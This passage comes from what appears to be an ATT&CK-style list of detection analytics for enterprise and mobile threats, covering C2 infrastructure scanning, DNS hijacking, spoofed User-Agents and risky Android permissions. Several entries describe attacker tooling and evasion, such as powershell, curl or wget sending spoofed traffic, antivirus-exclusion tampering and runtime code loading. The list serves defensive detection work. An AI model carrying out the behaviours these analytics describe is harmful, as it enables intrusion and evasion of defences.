Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control. +Monitor for contextual data about a malicious payload, such as compilation times, file hashes, as well as watermarks or other identifiable configuration information. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control. +Consider use of services that may aid in the tracking of capabilities, such as certificates, in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.


[AN1986] Analytic 1986

Current version: 1.0

Description:

Once adversaries have provisioned software on a compromised VPS (ex: for use as a command and control server), internet scans may reveal VPSs that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)

+

Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.


[AN1987] Analytic 1987

Current version: 1.0

Description:

Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

+

Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.


[AN1988] Analytic 1988

Current version: 1.0

Description:

Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

+

Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.


[AN1989] Analytic 1989

Current version: 1.0

Description:

Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

+

Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.


[AN1990] Analytic 1990

Current version: 1.0

Description:

Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

+

Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.


[AN1991] Analytic 1991

Current version: 1.0

Description:

Once adversaries leverage compromised network devices as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle.


[AN1992] Analytic 1992

Current version: 1.0

Description:

Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

+

Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.


[AN1993] Analytic 1993

Current version: 1.0

Description:

Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: Phishing).


[AN1994] Analytic 1994

Current version: 1.0

Description:

Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.


[AN1995] Analytic 1995

Current version: 1.0

Description:

Monitor for logged domain name system (DNS) registry data that may hijack domains and/or subdomains that can be used during targeting. In some cases, abnormal subdomain IP addresses (such as those originating in a different country from the root domain) may indicate a malicious subdomain.(Citation: Palo Alto Unit 42 Domain Shadowing 2022) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. +Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet. +Monitor for queried domain name system (DNS) registry data that may hijack domains and/or subdomains that can be used during targeting. In some cases, abnormal subdomain IP addresses (such as those originating in a different country from the root domain) may indicate a malicious subdomain.(Citation: Palo Alto Unit 42 Domain Shadowing 2022) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.


[AN1996] Analytic 1996

Current version: 1.0

Description:

Once adversaries leverage serverless functions as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle.


[AN1997] Analytic 1997

Current version: 1.0

Description:

Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. +Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) +Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).


[AN1998] Analytic 1998

Current version: 1.0

Description:

Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.


[AN1999] Analytic 1999

Current version: 1.0

Description:

Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)). +Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.


[AN2000] Analytic 2000

Current version: 1.0

Description:

Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet).


[AN2001] Analytic 2001

Current version: 1.0

Description:

Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

+

Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.


[AN2002] Analytic 2002

Current version: 1.0

Description:

Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization. +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: Spearphishing via Service). +Monitor and analyze traffic patterns and packet inspection associated to protocol(s), leveraging SSL/TLS inspection for encrypted traffic, that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).


[AN2003] Analytic 2003

Current version: 1.0

Description:

Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. +Once adversaries have provisioned a server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)


[AN2004] Analytic 2004

Current version: 1.0

Description:

Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time. +Monitor for contextual data about a malicious payload, such as compilation times, file hashes, as well as watermarks or other identifiable configuration information. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.


[AN2005] Analytic 2005

Current version: 1.0

Description:

Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)). +Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization. +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: Phishing).


[AN2006] Analytic 2006

Current version: 1.0

Description:

Once adversaries have provisioned software on a compromised server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.


[AN2007] Analytic 2007

Current version: 1.0

Description:

Consider analyzing code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, common name, and certificate authority. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in procuring code signing certificates. +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as Code Signing or Install Root Certificate.


[AN2008] Analytic 2008

Current version: 1.0

Description:

Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization. +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: Phishing). +Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).


[AN2009] Analytic 2009

Current version: 1.0

Description:

Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

+

Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.


[AN2010] Analytic 2010

Current version: 1.0

Description:

Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) Monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links and identifying obfuscated URLs) can also help detect links leading to known malicious sites.(Citation: Mandiant URL Obfuscation 2023)

+

Furthermore, monitor browser logs for homographs in ASCII and in internationalized domain names abusing different character sets (e.g. Cyrillic vs Latin versions of trusted sites). +Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. +Monitor and analyze traffic patterns and packet inspection associated to protocol(s), leveraging SSL/TLS inspection for encrypted traffic, that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).

+

Furthermore, monitor network traffic for homographs via the use of internationalized domain names abusing different character sets (e.g. Cyrillic vs Latin versions of trusted sites). Also monitor and analyze traffic patterns and packet inspection for indicators of cloned websites. For example, if adversaries use HTTrack to clone websites, Mirrored from (victim URL) may be visible in the HTML section of packets.


[AN2011] Analytic 2011

Current version: 1.0

Description:

Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during exfiltration (ex: Transfer Data to Cloud Account).


[AN2012] Analytic 2012

Current version: 1.0

Description:

Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

+

Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.


[AN2013] Analytic 2013

Current version: 1.0

Description:

If infrastructure or patterns in the malicious web content related to SEO poisoning or Drive-by Target have been previously identified, internet scanning may uncover when an adversary has staged web content supporting a strategic web compromise. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as Drive-by Compromise or Exploitation for Client Execution.


[AN2014] Analytic 2014

Current version: 1.0

Description:

Once adversaries leverage the abused web service as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020) +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control Web Service or Exfiltration Over Web Service .


[AN2015] Analytic 2015

Current version: 1.0

Description:

Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Phishing, Endpoint Denial of Service, or Network Denial of Service.


[AN2016] Analytic 2016

Current version: 1.0

Description:

Much of this takes place outside the visibility of the target organization, making detection difficult for defenders.

+

Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.


[AN2017] Analytic 2017

Current version: 1.0

Description:

Once adversaries have provisioned compromised infrastructure (ex: a server for use in command and control), internet scans may help proactively discover compromised infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) +Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet. +Monitor for queried domain name system (DNS) registry data that may compromise third-party infrastructure that can be used during targeting. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. +Monitor for logged domain name system (DNS) data that may compromise third-party infrastructure that can be used during targeting. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. +Monitor for contextual data about an Internet-facing resource gathered from a scan, such as running services or ports that may compromise third-party infrastructure that can be used during targeting. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.


[AN2018] Analytic 2018

Current version: 1.0

Description:

Monitor call logs from corporate devices to identify patterns of potential voice phishing, such as calls to/from known malicious phone numbers.


[AN2019] Analytic 2019

Current version: 1.0

Description:

Internet scanners may be used to look for patterns associated with malicious content designed to collect host hardware information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox) +Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.


[AN2020] Analytic 2020

Current version: 1.0

Description:

Internet scanners may be used to look for patterns associated with malicious content designed to collect host software information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox) +Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.


[AN2021] Analytic 2021

Current version: 1.0

Description:

Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

+

Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.


[AN2022] Analytic 2022

Current version: 1.0

Description:

Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

+

Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.


[AN2023] Analytic 2023

Current version: 1.0

Description:

Monitor for queried domain name system (DNS) registry data that may compromise third-party DNS servers that can be used during targeting. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. +Monitor for logged domain name system (DNS) registry data that may compromise third-party DNS servers that can be used during targeting. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.


[AN2024] Analytic 2024

Current version: 1.0

Description:

Monitor logged domain name system (DNS) data for purchased domains that can be used during targeting. Reputation/category-based detection may be difficult until the categorization is updated. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control. +Domain registration information is, by design, captured in public registration logs. Consider use of services that may aid in tracking of newly acquired domains, such as WHOIS databases and/or passive DNS. In some cases it may be possible to pivot on known pieces of domain registration information to uncover other infrastructure purchased by the adversary. Consider monitoring for domains created with a similar structure to your own, including under a different TLD. Though various tools and services exist to track, query, and monitor domain name registration information, tracking across multiple DNS infrastructures can require multiple tools/services or more advanced analytics.(Citation: ThreatConnect Infrastructure Dec 2020) Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control. +Monitor queried domain name system (DNS) registry data for purchased domains that can be used during targeting. Reputation/category-based detection may be difficult until the categorization is updated. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control.


[AN2025] Analytic 2025

Current version: 1.0

Description:

If infrastructure or patterns in malicious web content have been previously identified, internet scanning may uncover when an adversary has staged web content to make it accessible for targeting. +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as during Spearphishing Link , Spearphishing Link , or Malicious Link .


[AN2026] Analytic 2026

Current version: 1.0

Description:

Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the use of exploits (i.e. Exploit Public-Facing Application, Exploitation for Client Execution, Exploitation for Privilege Escalation, Exploitation for Defense Evasion, Exploitation for Credential Access, Exploitation of Remote Services, and Application or System Exploitation).


[AN2027] Analytic 2027

Current version: 1.0

Description:

Monitor for contextual data about an Internet-facing resource gathered from a scan, such as running services or ports that may buy, lease, or rent infrastructure that can be used during targeting. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. +Once adversaries have provisioned infrastructure (ex: a server for use in command and control), internet scans may help proactively discover adversary acquired infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. +Monitor for queried domain name system (DNS) registry data that may buy, lease, or rent infrastructure that can be used during targeting. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. +Monitor for logged domain name system (DNS) data that may buy, lease, or rent infrastructure that can be used during targeting. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. +Consider use of services that may aid in tracking of newly acquired infrastructure, such as WHOIS databases for domain registration information. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.


[AN2028] Analytic 2028

Current version: 1.0

Description:

Once adversaries leverage the web service as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control (Web Service) or Exfiltration Over Web Service.


[AN2029] Analytic 2029

Current version: 1.0

Description:

Process execution without GUI context (e.g., powershell.exe, wscript.exe) generates HTTP traffic with a spoofed User-Agent mimicking a legitimate browser. No corresponding UI application (e.g., msedge.exe) is active or in parent lineage. The User-Agent deviates from known enterprise baselines or contains spoofed platform indicators. User-Agent strings can be gathered with API calls such as ShellExecuteW to open the default browser on a socket to receive an HTTP reply, or by hard coding the User-Agent string for a specific browser.


[AN2030] Analytic 2030

Current version: 1.0

Description:

A process with no prior history or outside of known whitelisted tools initiates file or registry modifications to configure exclusion rules for antivirus, backup, or file-handling systems. Or a file system enumeration for specific file names andcritical extensions like .dll, .exe, .sys, or specific directories such as 'Program Files' or security tool paths or system component discovery for the exclusion of the files or components.


[AN2031] Analytic 2031

Current version: 1.0

Description:

Detection of HTTP outbound requests with inconsistent or spoofed User-Agent headers from command-line tools (e.g., curl, wget, python requests) following interactive user shells or scheduled jobs outside of normal user session behavior.


[AN2032] Analytic 2032

Current version: 1.0

Description:

Observation of scripted network requests (e.g., using osascript, curl, or python) that include mismatched or spoofed browser User-Agent strings compared to the typical macOS Safari or Chrome baseline, especially when triggered by non-interactive launch agents, login hooks, or background daemons.

mobile-attack

New Analytics

[AN1644] Analytic 1644

Current version: 1.0

Description:

Application vetting services may detect API calls to performGlobalAction(int). +The user can view a list of device administrators and applications that have registered accessibility services in device settings. The user can typically visually see when an action happens that they did not initiate and can subsequently review installed applications for any out of place or unknown ones. Applications that register an accessibility service or request device administrator permissions should be scrutinized further for malicious behavior.


[AN1645] Analytic 1645

Current version: 1.0

Description:

The user can view the default SMS handler in system settings.


[AN1646] Analytic 1646

Current version: 1.0

Description:

Application vetting services could look for the Android permission android.permission.QUERY_ALL_PACKAGES, and apply extra scrutiny to applications that request it. On iOS, application vetting services could look for usage of the private API LSApplicationWorkspace and apply extra scrutiny to applications that employ it.


[AN1647] Analytic 1647

Current version: 1.0

Description:

Application vetting services could look for the Android permission android.permission.QUERY_ALL_PACKAGES, and apply extra scrutiny to applications that request it. On iOS, application vetting services could look for usage of the private API LSApplicationWorkspace and apply extra scrutiny to applications that employ it.


[AN1648] Analytic 1648

Current version: 1.0

Description:

System information discovery can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.


[AN1649] Analytic 1649

Current version: 1.0

Description:

System information discovery can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.


[AN1650] Analytic 1650

Current version: 1.0

Description:

Application vetting services could look for android.permission.READ_CALL_LOG in an Android application’s manifest. Most applications do not need call log access, so extra scrutiny could be applied to those that request it. +On Android, the user can manage which applications have permission to access the call log through the device settings screen, revoking the permission if necessary.


[AN1651] Analytic 1651

Current version: 1.0

Description:

Application vetting services could look for android.permission.READ_CALL_LOG in an Android application’s manifest. Most applications do not need call log access, so extra scrutiny could be applied to those that request it. +On Android, the user can manage which applications have permission to access the call log through the device settings screen, revoking the permission if necessary.


[AN1652] Analytic 1652

Current version: 1.0

Description:

The user can view a list of device administrators in device settings and revoke permission where appropriate. Applications that request device administrator permissions should be scrutinized further for malicious behavior.


[AN1653] Analytic 1653

Current version: 1.0

Description:

Integrity checking mechanisms can potentially detect unauthorized hardware modifications.


[AN1654] Analytic 1654

Current version: 1.0

Description:

Integrity checking mechanisms can potentially detect unauthorized hardware modifications.


[AN1655] Analytic 1655

Current version: 1.0

Description:

Application vetting services could closely scrutinize applications that request Device Administrator permissions.


[AN1656] Analytic 1656

Current version: 1.0

Description:

The user can view a list of device administrators and applications that have registered Accessibility services in device settings. Applications that register an Accessibility service or request device administrator permissions should be scrutinized further for malicious behavior. +Application vetting services can look for applications that request permissions to Accessibility services or application overlay. +Monitor for API calls that are related to GooglePlayServices.


[AN1657] Analytic 1657

Current version: 1.0

Description:

Command-line activities can potentially be detected through Mobile Threat Defense (MTD) integrations with lower-level OS APIs. This could grant the MTD agents access to running processes and their parameters, potentially detecting unwanted or malicious shells. +Mobile Threat Defense (MTD) with lower-level OS APIs integrations may have access to newly created processes and their parameters, potentially detecting unwanted or malicious shells. +Application vetting services could detect the invocations of methods that could be used to execute shell commands.(Citation: Samsung Knox Mobile Threat Defense) +Mobile Threat Defense (MTD) with lower-level OS APIs integrations may have access to running processes and their parameters, potentially detecting unwanted or malicious shells.


[AN1658] Analytic 1658

Current version: 1.0

Description:

Command-line activities can potentially be detected through Mobile Threat Defense (MTD) integrations with lower-level OS APIs. This could grant the MTD agents access to running processes and their parameters, potentially detecting unwanted or malicious shells. +Mobile Threat Defense (MTD) with lower-level OS APIs integrations may have access to newly created processes and their parameters, potentially detecting unwanted or malicious shells. +Application vetting services could detect the invocations of methods that could be used to execute shell commands.(Citation: Samsung Knox Mobile Threat Defense) +Mobile Threat Defense (MTD) with lower-level OS APIs integrations may have access to running processes and their parameters, potentially detecting unwanted or malicious shells.


[AN1659] Analytic 1659

Current version: 1.0

Description:

On Android, the user can review which applications can use premium SMS features in the "Special access" page within application settings. +Application vetting services can detect when applications request the SEND_SMS permission, which should be infrequently used.


[AN1660] Analytic 1660

Current version: 1.0

Description:

On Android, the user can review which applications can use premium SMS features in the "Special access" page within application settings. +Application vetting services can detect when applications request the SEND_SMS permission, which should be infrequently used.


[AN1661] Analytic 1661

Current version: 1.0

Description:

Unexpected behavior from an application could be an indicator of masquerading. +Application vetting services may potentially determine if an application contains suspicious code and/or metadata.


[AN1662] Analytic 1662

Current version: 1.0

Description:

Unexpected behavior from an application could be an indicator of masquerading. +Application vetting services may potentially determine if an application contains suspicious code and/or metadata.


[AN1663] Analytic 1663

Current version: 1.0

Description:

Application vetting services may provide a list of connections made or received by an application, or a list of domains contacted by the application. +Many properly configured firewalls may naturally block one-way command and control traffic.


[AN1664] Analytic 1664

Current version: 1.0

Description:

Application vetting services may provide a list of connections made or received by an application, or a list of domains contacted by the application. +Many properly configured firewalls may naturally block one-way command and control traffic.


[AN1665] Analytic 1665

Current version: 1.0

Description:

The user can also inspect and modify the list of applications that have notification access through the device settings (e.g. Apps & notification -> Special app access -> Notification access). +Application vetting services can look for applications requesting the BIND_NOTIFICATION_LISTENER_SERVICE permission in a service declaration.


[AN1666] Analytic 1666

Current version: 1.0

Description:

The user can view applications that have registered accessibility services in the accessibility menu within the device settings.


[AN1667] Analytic 1667

Current version: 1.0

Description:

Monitor for pseudo-randomly generated domain names based on frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) Additionally, check if the suspicious domain has been recently registered, if it has been rarely visited, or if the domain had a spike in activity after being dormant.(Citation: unit42_strat_aged_domain_det) Content delivery network (CDN) domains may trigger these detections due to the format of their domain names.


[AN1668] Analytic 1668

Current version: 1.0

Description:

Monitor for pseudo-randomly generated domain names based on frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) Additionally, check if the suspicious domain has been recently registered, if it has been rarely visited, or if the domain had a spike in activity after being dormant.(Citation: unit42_strat_aged_domain_det) Content delivery network (CDN) domains may trigger these detections due to the format of their domain names.


[AN1669] Analytic 1669

Current version: 1.0

Description:

Mobile security products can often alert the user if their device is vulnerable to known exploits.


[AN1670] Analytic 1670

Current version: 1.0

Description:

Mobile security products can often alert the user if their device is vulnerable to known exploits.


[AN1671] Analytic 1671

Current version: 1.0

Description:

Exfiltration Over C2 Channel can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.


[AN1672] Analytic 1672

Current version: 1.0

Description:

Exfiltration Over C2 Channel can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.


[AN1673] Analytic 1673

Current version: 1.0

Description:

Application vetting services could look for applications attempting to get android.os.SystemProperties or getprop with the runtime exec() commands. This could indicate some level of sandbox evasion, as Google recommends against using system properties within applications.


[AN1674] Analytic 1674

Current version: 1.0

Description:

Application vetting services could look for applications attempting to get android.os.SystemProperties or getprop with the runtime exec() commands. This could indicate some level of sandbox evasion, as Google recommends against using system properties within applications.


[AN1675] Analytic 1675

Current version: 1.0

Description:

Many properly configured firewalls may naturally block command and control traffic. +Application vetting services may provide a list of connections made or received by an application, or a list of domains contacted by the application.


[AN1676] Analytic 1676

Current version: 1.0

Description:

Many properly configured firewalls may naturally block command and control traffic. +Application vetting services may provide a list of connections made or received by an application, or a list of domains contacted by the application.


[AN1677] Analytic 1677

Current version: 1.0

Description:

Application vetting services may be able to list domains and/or IP addresses that applications communicate with. +Mobile security products may provide URL inspection services that could determine if a domain being visited is malicious. +Application vetting services could look for indications that the application downloads and executes new code at runtime (e.g., on Android, use of DexClassLoader, System.load, or the WebView JavaScriptInterface capability; on iOS, use of JSPatch or similar capabilities).


[AN1678] Analytic 1678

Current version: 1.0

Description:

Application vetting services may be able to list domains and/or IP addresses that applications communicate with. +Mobile security products may provide URL inspection services that could determine if a domain being visited is malicious. +Application vetting services could look for indications that the application downloads and executes new code at runtime (e.g., on Android, use of DexClassLoader, System.load, or the WebView JavaScriptInterface capability; on iOS, use of JSPatch or similar capabilities).


[AN1679] Analytic 1679

Current version: 1.0

Description:

On Android, the user can use the device settings menu to view trusted CA certificates and look for unexpected or unknown certificates. A mobile security product could similarly examine the trusted CA certificate store for anomalies. Users can use the device settings menu to view which applications on the device are allowed to install unknown applications.

+

On iOS, the user can use the device settings menu to view installed Configuration Profiles and look for unexpected or unknown profiles. A Mobile Device Management (MDM) system could use the iOS MDM APIs to examine the list of installed Configuration Profiles for anomalies.


[AN1680] Analytic 1680

Current version: 1.0

Description:

On Android, the user can use the device settings menu to view trusted CA certificates and look for unexpected or unknown certificates. A mobile security product could similarly examine the trusted CA certificate store for anomalies. Users can use the device settings menu to view which applications on the device are allowed to install unknown applications.

+

On iOS, the user can use the device settings menu to view installed Configuration Profiles and look for unexpected or unknown profiles. A Mobile Device Management (MDM) system could use the iOS MDM APIs to examine the list of installed Configuration Profiles for anomalies.


[AN1681] Analytic 1681

Current version: 1.0

Description:

